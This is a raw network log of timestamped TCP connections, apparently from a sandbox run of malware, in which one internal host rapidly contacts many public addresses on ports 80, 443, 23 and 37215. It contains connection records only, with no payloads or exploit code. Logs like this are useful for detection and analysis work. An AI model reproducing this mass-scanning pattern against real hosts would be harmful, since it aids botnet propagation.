Oct 14, 2024 17:34:16.146105051 CEST	29626	80	192.168.2.14	75.40.214.123
Oct 14, 2024 17:34:16.146107912 CEST	29626	80	192.168.2.14	195.99.47.30
Oct 14, 2024 17:34:16.146107912 CEST	29626	80	192.168.2.14	133.48.252.190
Oct 14, 2024 17:34:16.146121979 CEST	29626	80	192.168.2.14	216.57.10.253
Oct 14, 2024 17:34:16.146133900 CEST	29626	80	192.168.2.14	116.2.55.94
Oct 14, 2024 17:34:16.146133900 CEST	29626	80	192.168.2.14	81.52.27.142
Oct 14, 2024 17:34:16.146136045 CEST	29626	80	192.168.2.14	35.53.133.99
Oct 14, 2024 17:34:16.146142960 CEST	29626	80	192.168.2.14	9.46.210.58
Oct 14, 2024 17:34:16.146142960 CEST	29626	80	192.168.2.14	78.153.156.206
Oct 14, 2024 17:34:16.146153927 CEST	29626	80	192.168.2.14	73.122.59.201
Oct 14, 2024 17:34:16.146157980 CEST	29626	80	192.168.2.14	2.33.160.111
Oct 14, 2024 17:34:16.146169901 CEST	29626	80	192.168.2.14	165.190.169.170
Oct 14, 2024 17:34:16.146172047 CEST	29626	80	192.168.2.14	113.177.149.63
Oct 14, 2024 17:34:16.146173954 CEST	29626	80	192.168.2.14	39.2.14.243
Oct 14, 2024 17:34:16.146188021 CEST	29626	80	192.168.2.14	166.81.128.149
Oct 14, 2024 17:34:16.146209955 CEST	29626	80	192.168.2.14	124.244.12.128
Oct 14, 2024 17:34:16.146209955 CEST	29626	80	192.168.2.14	49.15.196.5
Oct 14, 2024 17:34:16.146209955 CEST	29626	80	192.168.2.14	76.22.221.80
Oct 14, 2024 17:34:16.146209955 CEST	29626	80	192.168.2.14	39.3.208.100
Oct 14, 2024 17:34:16.146209955 CEST	29626	80	192.168.2.14	168.58.127.32
Oct 14, 2024 17:34:16.146226883 CEST	29626	80	192.168.2.14	112.190.75.130
Oct 14, 2024 17:34:16.146226883 CEST	29626	80	192.168.2.14	27.28.4.101
Oct 14, 2024 17:34:16.146226883 CEST	29626	80	192.168.2.14	93.54.189.32
Oct 14, 2024 17:34:16.146226883 CEST	29626	80	192.168.2.14	34.85.185.9
Oct 14, 2024 17:34:16.146229982 CEST	29626	80	192.168.2.14	125.228.246.114
Oct 14, 2024 17:34:16.146245003 CEST	29626	80	192.168.2.14	212.170.2.82
Oct 14, 2024 17:34:16.146245956 CEST	29626	80	192.168.2.14	220.43.81.11
Oct 14, 2024 17:34:16.146250963 CEST	29626	80	192.168.2.14	212.219.141.236
Oct 14, 2024 17:34:16.146265030 CEST	29626	80	192.168.2.14	80.34.3.253
Oct 14, 2024 17:34:16.146281004 CEST	29626	80	192.168.2.14	199.210.34.33
Oct 14, 2024 17:34:16.146296978 CEST	29626	80	192.168.2.14	150.219.155.53
Oct 14, 2024 17:34:16.146296978 CEST	29626	80	192.168.2.14	110.175.79.176
Oct 14, 2024 17:34:16.146297932 CEST	29626	80	192.168.2.14	179.67.188.180
Oct 14, 2024 17:34:16.146403074 CEST	49574	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:16.147217989 CEST	58760	37215	192.168.2.14	156.79.224.50
Oct 14, 2024 17:34:16.149173021 CEST	54432	37215	192.168.2.14	197.10.164.146
Oct 14, 2024 17:34:16.150051117 CEST	80	44656	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:16.150088072 CEST	44656	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:16.151066065 CEST	58824	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:16.151448965 CEST	37215	49574	156.56.92.171	192.168.2.14
Oct 14, 2024 17:34:16.151485920 CEST	49574	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:16.153089046 CEST	50694	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.155004978 CEST	34010	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:16.157943964 CEST	37215	50694	156.143.114.100	192.168.2.14
Oct 14, 2024 17:34:16.157984018 CEST	50694	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.158762932 CEST	50520	37215	192.168.2.14	197.129.241.38
Oct 14, 2024 17:34:16.163407087 CEST	39946	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.169186115 CEST	37215	39946	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.169245005 CEST	39946	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.169285059 CEST	52028	37215	192.168.2.14	156.3.144.182
Oct 14, 2024 17:34:16.171484947 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:16.171485901 CEST	43972	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:16.174896955 CEST	45436	37215	192.168.2.14	156.22.246.197
Oct 14, 2024 17:34:16.177028894 CEST	37215	43972	41.90.184.19	192.168.2.14
Oct 14, 2024 17:34:16.177073002 CEST	43972	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:16.180146933 CEST	44544	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.185738087 CEST	46030	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:16.186233044 CEST	37215	44544	41.77.208.129	192.168.2.14
Oct 14, 2024 17:34:16.186274052 CEST	44544	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.190624952 CEST	43980	37215	192.168.2.14	156.248.67.162
Oct 14, 2024 17:34:16.195276022 CEST	59714	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.199110031 CEST	54756	37215	192.168.2.14	197.111.224.208
Oct 14, 2024 17:34:16.201477051 CEST	37215	59714	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:16.201524973 CEST	59714	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.201631069 CEST	55438	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.203480959 CEST	40510	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:16.203480959 CEST	35768	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:16.203483105 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:16.203639984 CEST	35952	37215	192.168.2.14	197.106.20.72
Oct 14, 2024 17:34:16.206834078 CEST	52920	37215	192.168.2.14	156.153.120.33
Oct 14, 2024 17:34:16.207629919 CEST	37215	55438	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.207674026 CEST	55438	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.208679914 CEST	36518	37215	192.168.2.14	41.185.122.216
Oct 14, 2024 17:34:16.210803032 CEST	32836	37215	192.168.2.14	156.197.10.153
Oct 14, 2024 17:34:16.212596893 CEST	32916	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.214762926 CEST	56256	37215	192.168.2.14	156.131.207.90
Oct 14, 2024 17:34:16.216996908 CEST	57522	37215	192.168.2.14	156.214.51.232
Oct 14, 2024 17:34:16.218698025 CEST	55480	37215	192.168.2.14	156.82.53.197
Oct 14, 2024 17:34:16.218750954 CEST	37215	32916	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:16.218806982 CEST	32916	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.220513105 CEST	56102	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.223237038 CEST	42474	37215	192.168.2.14	156.75.142.201
Oct 14, 2024 17:34:16.224925995 CEST	40986	37215	192.168.2.14	197.174.35.118
Oct 14, 2024 17:34:16.226671934 CEST	37215	56102	197.183.177.121	192.168.2.14
Oct 14, 2024 17:34:16.226696014 CEST	41906	37215	192.168.2.14	156.88.61.100
Oct 14, 2024 17:34:16.226710081 CEST	56102	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.230884075 CEST	58988	37215	192.168.2.14	156.96.124.186
Oct 14, 2024 17:34:16.235491991 CEST	50784	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:16.235502005 CEST	36946	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:16.235586882 CEST	43310	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:16.238014936 CEST	53712	37215	192.168.2.14	156.56.138.28
Oct 14, 2024 17:34:16.240179062 CEST	47432	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.240340948 CEST	37215	50784	156.46.198.66	192.168.2.14
Oct 14, 2024 17:34:16.240382910 CEST	50784	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:16.242713928 CEST	45920	37215	192.168.2.14	41.97.48.137
Oct 14, 2024 17:34:16.245059013 CEST	59954	37215	192.168.2.14	197.88.68.6
Oct 14, 2024 17:34:16.246125937 CEST	37215	47432	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:16.246170044 CEST	47432	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.247191906 CEST	42150	37215	192.168.2.14	197.120.157.102
Oct 14, 2024 17:34:16.249329090 CEST	48906	37215	192.168.2.14	41.251.207.106
Oct 14, 2024 17:34:16.251517057 CEST	46154	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.253829956 CEST	48262	37215	192.168.2.14	156.230.123.62
Oct 14, 2024 17:34:16.255994081 CEST	44162	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:16.257493019 CEST	37215	46154	156.201.207.50	192.168.2.14
Oct 14, 2024 17:34:16.257538080 CEST	46154	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.258474112 CEST	55058	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:16.260763884 CEST	43938	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.263303041 CEST	54626	37215	192.168.2.14	197.7.68.0
Oct 14, 2024 17:34:16.265826941 CEST	37215	43938	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.265829086 CEST	34290	37215	192.168.2.14	197.215.97.80
Oct 14, 2024 17:34:16.266040087 CEST	43938	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.267482042 CEST	42104	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:16.267484903 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:16.267484903 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:16.267844915 CEST	37180	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:16.272598982 CEST	51396	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.276407003 CEST	39682	37215	192.168.2.14	41.71.82.244
Oct 14, 2024 17:34:16.277925014 CEST	37215	51396	41.34.237.65	192.168.2.14
Oct 14, 2024 17:34:16.277961016 CEST	51396	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.278482914 CEST	58986	37215	192.168.2.14	197.14.250.68
Oct 14, 2024 17:34:16.280569077 CEST	50558	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.282859087 CEST	53332	37215	192.168.2.14	156.35.115.66
Oct 14, 2024 17:34:16.285438061 CEST	37215	50558	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:16.285495996 CEST	50558	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.287147045 CEST	37556	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:16.289438963 CEST	39036	37215	192.168.2.14	41.75.216.122
Oct 14, 2024 17:34:16.293725014 CEST	49654	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.296494007 CEST	47834	37215	192.168.2.14	156.45.137.16
Oct 14, 2024 17:34:16.298597097 CEST	37215	49654	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.298649073 CEST	49654	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.299021959 CEST	41506	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:16.299484015 CEST	35260	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:16.299487114 CEST	54402	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:16.304738045 CEST	37215	35260	156.247.75.253	192.168.2.14
Oct 14, 2024 17:34:16.304792881 CEST	35260	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:16.305819035 CEST	49506	37215	192.168.2.14	197.180.247.201
Oct 14, 2024 17:34:16.308337927 CEST	43972	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:16.308348894 CEST	50784	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:16.308361053 CEST	35260	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:16.308423996 CEST	50694	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.308423996 CEST	50694	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.309708118 CEST	50794	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.312244892 CEST	39946	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.312244892 CEST	39946	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.313200951 CEST	40042	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.313728094 CEST	37215	50694	156.143.114.100	192.168.2.14
Oct 14, 2024 17:34:16.314027071 CEST	37215	43972	41.90.184.19	192.168.2.14
Oct 14, 2024 17:34:16.314071894 CEST	43972	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:16.314151049 CEST	37215	50784	156.46.198.66	192.168.2.14
Oct 14, 2024 17:34:16.314161062 CEST	37215	35260	156.247.75.253	192.168.2.14
Oct 14, 2024 17:34:16.314188004 CEST	50784	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:16.314193964 CEST	35260	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:16.314517021 CEST	44544	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.314517021 CEST	44544	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.315550089 CEST	44636	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.317487001 CEST	59714	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.317522049 CEST	59714	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.318236113 CEST	37215	39946	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.318368912 CEST	37215	40042	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.318418980 CEST	40042	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.318597078 CEST	59802	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.319461107 CEST	37215	44544	41.77.208.129	192.168.2.14
Oct 14, 2024 17:34:16.319900990 CEST	55438	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.319900990 CEST	55438	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.320990086 CEST	55524	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.322308064 CEST	32916	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.322308064 CEST	32916	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.322565079 CEST	37215	59714	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:16.323530912 CEST	32994	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.324717999 CEST	37215	55438	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.325093985 CEST	56102	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.325108051 CEST	56102	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.325790882 CEST	37215	55524	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.325885057 CEST	55524	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.326023102 CEST	56174	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.327120066 CEST	47432	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.327120066 CEST	47432	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.327200890 CEST	37215	32916	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:16.328213930 CEST	47494	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.329715967 CEST	46154	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.329715967 CEST	46154	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.330055952 CEST	37215	56102	197.183.177.121	192.168.2.14
Oct 14, 2024 17:34:16.330841064 CEST	46208	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.331932068 CEST	37215	47432	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:16.332066059 CEST	43938	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.332066059 CEST	43938	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.333040953 CEST	43986	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.334156990 CEST	51396	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.334156990 CEST	51396	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.334619999 CEST	37215	46154	156.201.207.50	192.168.2.14
Oct 14, 2024 17:34:16.335117102 CEST	51438	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.335478067 CEST	44614	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:16.336450100 CEST	50558	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.336450100 CEST	50558	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.336904049 CEST	37215	43938	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.337244034 CEST	50596	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.337855101 CEST	37215	43986	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.337894917 CEST	43986	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.338603020 CEST	49654	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.338603020 CEST	49654	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.338970900 CEST	37215	51396	41.34.237.65	192.168.2.14
Oct 14, 2024 17:34:16.339544058 CEST	49686	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.340857983 CEST	40042	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.340879917 CEST	55524	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.340883017 CEST	43986	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.341311932 CEST	37215	50558	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:16.343409061 CEST	37215	49654	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.344383955 CEST	37215	49686	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.344434023 CEST	49686	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.344522953 CEST	49686	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.345740080 CEST	37215	40042	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.345777035 CEST	40042	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.345992088 CEST	37215	55524	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.346002102 CEST	37215	43986	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.346025944 CEST	55524	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.346045971 CEST	43986	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.349858999 CEST	37215	49686	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.349893093 CEST	49686	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.359163046 CEST	37215	50694	156.143.114.100	192.168.2.14
Oct 14, 2024 17:34:16.363126040 CEST	37215	39946	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.363133907 CEST	37215	59714	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:16.363142014 CEST	37215	44544	41.77.208.129	192.168.2.14
Oct 14, 2024 17:34:16.367129087 CEST	37215	55438	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.367480040 CEST	54230	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:16.367480993 CEST	53512	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:16.371144056 CEST	37215	56102	197.183.177.121	192.168.2.14
Oct 14, 2024 17:34:16.371154070 CEST	37215	32916	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:16.372311115 CEST	37215	54230	41.201.37.141	192.168.2.14
Oct 14, 2024 17:34:16.372320890 CEST	37215	53512	156.28.130.182	192.168.2.14
Oct 14, 2024 17:34:16.372369051 CEST	54230	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:16.372373104 CEST	53512	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:16.372421980 CEST	54230	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:16.372437000 CEST	53512	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:16.375125885 CEST	37215	46154	156.201.207.50	192.168.2.14
Oct 14, 2024 17:34:16.375139952 CEST	37215	47432	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:16.377784967 CEST	37215	54230	41.201.37.141	192.168.2.14
Oct 14, 2024 17:34:16.377826929 CEST	54230	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:16.378087044 CEST	37215	53512	156.28.130.182	192.168.2.14
Oct 14, 2024 17:34:16.378132105 CEST	53512	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:16.379096031 CEST	37215	51396	41.34.237.65	192.168.2.14
Oct 14, 2024 17:34:16.379113913 CEST	37215	43938	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.383054972 CEST	37215	50558	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:16.387132883 CEST	37215	49654	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.399476051 CEST	52968	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:16.399509907 CEST	48170	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:16.405107975 CEST	37215	52968	197.115.11.153	192.168.2.14
Oct 14, 2024 17:34:16.405153990 CEST	52968	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:16.405184984 CEST	37215	48170	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:16.405231953 CEST	48170	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:16.405232906 CEST	52968	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:16.405483007 CEST	48170	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:16.410834074 CEST	37215	52968	197.115.11.153	192.168.2.14
Oct 14, 2024 17:34:16.410882950 CEST	52968	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:16.411170959 CEST	37215	48170	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:16.411490917 CEST	37215	48170	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:16.411660910 CEST	48170	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:16.722613096 CEST	23	39620	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:16.722759962 CEST	39620	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:16.727626085 CEST	23	39620	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:16.728574991 CEST	39840	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:16.733480930 CEST	23	39840	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:16.733609915 CEST	39840	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:16.763493061 CEST	23	39674	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:16.763618946 CEST	39674	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:16.768564939 CEST	39894	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:16.768637896 CEST	23	39674	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:16.773705959 CEST	23	39894	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:16.773797035 CEST	39894	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:16.879008055 CEST	29631	443	192.168.2.14	148.218.206.42
Oct 14, 2024 17:34:16.879019022 CEST	29631	443	192.168.2.14	202.30.120.48
Oct 14, 2024 17:34:16.879019976 CEST	29631	443	192.168.2.14	109.248.142.5
Oct 14, 2024 17:34:16.879035950 CEST	29631	443	192.168.2.14	118.134.20.86
Oct 14, 2024 17:34:16.879048109 CEST	29631	443	192.168.2.14	5.188.53.110
Oct 14, 2024 17:34:16.879051924 CEST	29631	443	192.168.2.14	79.141.145.30
Oct 14, 2024 17:34:16.879062891 CEST	443	29631	109.248.142.5	192.168.2.14
Oct 14, 2024 17:34:16.879064083 CEST	443	29631	118.134.20.86	192.168.2.14
Oct 14, 2024 17:34:16.879065037 CEST	443	29631	202.30.120.48	192.168.2.14
Oct 14, 2024 17:34:16.879070997 CEST	29631	443	192.168.2.14	210.46.105.104
Oct 14, 2024 17:34:16.879072905 CEST	29631	443	192.168.2.14	79.57.221.96
Oct 14, 2024 17:34:16.879072905 CEST	29631	443	192.168.2.14	210.171.203.135
Oct 14, 2024 17:34:16.879075050 CEST	443	29631	148.218.206.42	192.168.2.14
Oct 14, 2024 17:34:16.879076958 CEST	29631	443	192.168.2.14	212.141.5.56
Oct 14, 2024 17:34:16.879076958 CEST	29631	443	192.168.2.14	123.143.150.119
Oct 14, 2024 17:34:16.879077911 CEST	29631	443	192.168.2.14	117.235.7.62
Oct 14, 2024 17:34:16.879080057 CEST	443	29631	79.141.145.30	192.168.2.14
Oct 14, 2024 17:34:16.879080057 CEST	29631	443	192.168.2.14	117.236.1.19
Oct 14, 2024 17:34:16.879081964 CEST	29631	443	192.168.2.14	123.50.16.33
Oct 14, 2024 17:34:16.879082918 CEST	443	29631	5.188.53.110	192.168.2.14
Oct 14, 2024 17:34:16.879086018 CEST	443	29631	79.57.221.96	192.168.2.14
Oct 14, 2024 17:34:16.879091024 CEST	29631	443	192.168.2.14	2.115.193.191
Oct 14, 2024 17:34:16.879091978 CEST	29631	443	192.168.2.14	123.146.58.174
Oct 14, 2024 17:34:16.879091024 CEST	29631	443	192.168.2.14	94.94.11.29
Oct 14, 2024 17:34:16.879091024 CEST	29631	443	192.168.2.14	202.129.80.198
Oct 14, 2024 17:34:16.879091978 CEST	29631	443	192.168.2.14	148.96.33.177
Oct 14, 2024 17:34:16.879093885 CEST	443	29631	123.50.16.33	192.168.2.14
Oct 14, 2024 17:34:16.879096985 CEST	443	29631	212.141.5.56	192.168.2.14
Oct 14, 2024 17:34:16.879098892 CEST	29631	443	192.168.2.14	202.197.179.204
Oct 14, 2024 17:34:16.879098892 CEST	443	29631	123.146.58.174	192.168.2.14
Oct 14, 2024 17:34:16.879098892 CEST	29631	443	192.168.2.14	94.128.193.207
Oct 14, 2024 17:34:16.879101038 CEST	443	29631	123.143.150.119	192.168.2.14
Oct 14, 2024 17:34:16.879101992 CEST	443	29631	117.235.7.62	192.168.2.14
Oct 14, 2024 17:34:16.879103899 CEST	443	29631	2.115.193.191	192.168.2.14
Oct 14, 2024 17:34:16.879103899 CEST	443	29631	210.46.105.104	192.168.2.14
Oct 14, 2024 17:34:16.879106045 CEST	443	29631	210.171.203.135	192.168.2.14
Oct 14, 2024 17:34:16.879106045 CEST	443	29631	117.236.1.19	192.168.2.14
Oct 14, 2024 17:34:16.879107952 CEST	29631	443	192.168.2.14	148.250.148.47
Oct 14, 2024 17:34:16.879107952 CEST	29631	443	192.168.2.14	118.111.97.73
Oct 14, 2024 17:34:16.879111052 CEST	443	29631	202.197.179.204	192.168.2.14
Oct 14, 2024 17:34:16.879112959 CEST	443	29631	94.94.11.29	192.168.2.14
Oct 14, 2024 17:34:16.879113913 CEST	443	29631	202.129.80.198	192.168.2.14
Oct 14, 2024 17:34:16.879116058 CEST	443	29631	94.128.193.207	192.168.2.14
Oct 14, 2024 17:34:16.879117012 CEST	29631	443	192.168.2.14	37.119.112.123
Oct 14, 2024 17:34:16.879117012 CEST	29631	443	192.168.2.14	42.170.164.10
Oct 14, 2024 17:34:16.879118919 CEST	443	29631	148.96.33.177	192.168.2.14
Oct 14, 2024 17:34:16.879118919 CEST	443	29631	148.250.148.47	192.168.2.14
Oct 14, 2024 17:34:16.879121065 CEST	29631	443	192.168.2.14	212.103.112.241
Oct 14, 2024 17:34:16.879122019 CEST	29631	443	192.168.2.14	118.201.101.40
Oct 14, 2024 17:34:16.879126072 CEST	443	29631	118.111.97.73	192.168.2.14
Oct 14, 2024 17:34:16.879126072 CEST	29631	443	192.168.2.14	210.238.44.12
Oct 14, 2024 17:34:16.879127026 CEST	443	29631	212.103.112.241	192.168.2.14
Oct 14, 2024 17:34:16.879127979 CEST	443	29631	118.201.101.40	192.168.2.14
Oct 14, 2024 17:34:16.879129887 CEST	443	29631	37.119.112.123	192.168.2.14
Oct 14, 2024 17:34:16.879134893 CEST	443	29631	210.238.44.12	192.168.2.14
Oct 14, 2024 17:34:16.879137993 CEST	29631	443	192.168.2.14	109.248.142.5
Oct 14, 2024 17:34:16.879138947 CEST	29631	443	192.168.2.14	118.134.20.86
Oct 14, 2024 17:34:16.879138947 CEST	29631	443	192.168.2.14	212.57.172.24
Oct 14, 2024 17:34:16.879141092 CEST	29631	443	192.168.2.14	118.190.36.65
Oct 14, 2024 17:34:16.879141092 CEST	29631	443	192.168.2.14	42.225.218.224
